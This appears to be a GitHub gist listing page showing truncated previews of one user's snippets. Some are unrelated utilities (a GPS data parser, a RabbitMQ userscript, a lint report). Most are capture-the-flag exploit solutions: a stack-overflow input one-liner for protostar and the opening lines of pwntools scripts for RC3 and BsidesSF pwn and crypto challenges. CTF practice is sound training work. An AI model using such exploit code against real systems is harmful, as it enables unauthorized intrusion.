Skip to content

Instantly share code, notes, and snippets.

# This script is designed to extract CUPTs from a truth file
# Want to ignore all '#' from truth file
#
# Objective is to extract:
# 1. GPS time (double, column 1)
# 2. Latitude (double, column 3)
# 3. Longitude (double, column 4)
# 4. Height (double, column 5)
#
// ==UserScript==
// @name RabbitMQ Purge Button Adder
// @namespace http://www.grazfather.com/userscripts/purgeButton.user.js
// @version 0.1
// @description Adds a 'purge' button to every queue in queues view.
// @match http://localhost:15672/*
// @copyright Me
// ==/UserScript==
// a function that loads jQuery and calls a callback function when jQuery has finished loading
@Grazfather
Grazfather / gist:40d40e60bfa06e1c15fd
Created May 23, 2015 20:13
exploit-exercises protostar

Stack solutions

Stack 0

python -c "print 'A'*70" | ./stack0

Stack 1

# This was done after the ctf
cts = [
"BUEF9r9AOjw6w8XSgaZJeD==",
"B9cb4emh7PKbfdg/OmKwl1==",
"CjbfcYrqVbnZt04GGy5Esn==",
"EMmqj/C0uWU8u2CMsvVtwl==",
"EkkUe6ukmUA90AvCXnJSTG==",
"Exjf76M+iY5s54GPGewKzj==",
"KLBgknyMMvzHtcHPMQeEl2==",
@Grazfather
Grazfather / soln.py
Created November 21, 2016 22:56
RC3 IMS-easy PWN 150 solution
#!/usr/bin/env python
import sys
from pwn import *
ADD = "1"
VIEW = "3"
QUIT = "4"

Original report:

************* Module gef
W:2774, 0: TODO: add more customizable items (fixme)
W:100, 0: Anomalous backslash in string: '\-'. String constant might be missing an r prefix. (anomalous-backslash-in-string)
C:173, 0: Exactly one space required around comparison
    if len(sys.argv)==2 and sys.argv[1]=="--update":
                    ^^ (bad-whitespace)
C:173, 0: Exactly one space required around comparison
#!/usr/bin/env python
from pwn import *
import sys
CREATE = "1"
DELETE = "2"
EDIT = "3"
PRINT = "4"
CHANGE = "5"
@Grazfather
Grazfather / bt.py
Last active February 22, 2017 22:08
BsidesSF 2017 CTF b-64-b-tuff solution
import sys
from pwn import *
def exploit():
r.recvuntil("start: ")
addr = r.recv(10)
addr = int(addr, 16)
print hex(addr)
@Grazfather
Grazfather / delphi.py
Last active February 22, 2017 22:20
BSsidesSF CTF 2017 "delphi-status" crypto 250
# From BsidesSF CTF 2017
import itertools
import requests
import sys
from binascii import hexlify, unhexlify
uh = unhexlify
h = hexlify
@Grazfather
Grazfather / RC3-cardmaker.py
Last active June 4, 2017 18:51
RC3 PWN 500 Card maker solution
#!/usr/bin/env python
import sys
from pwn import *
port = 8080
strtol_addr = 0x6030B0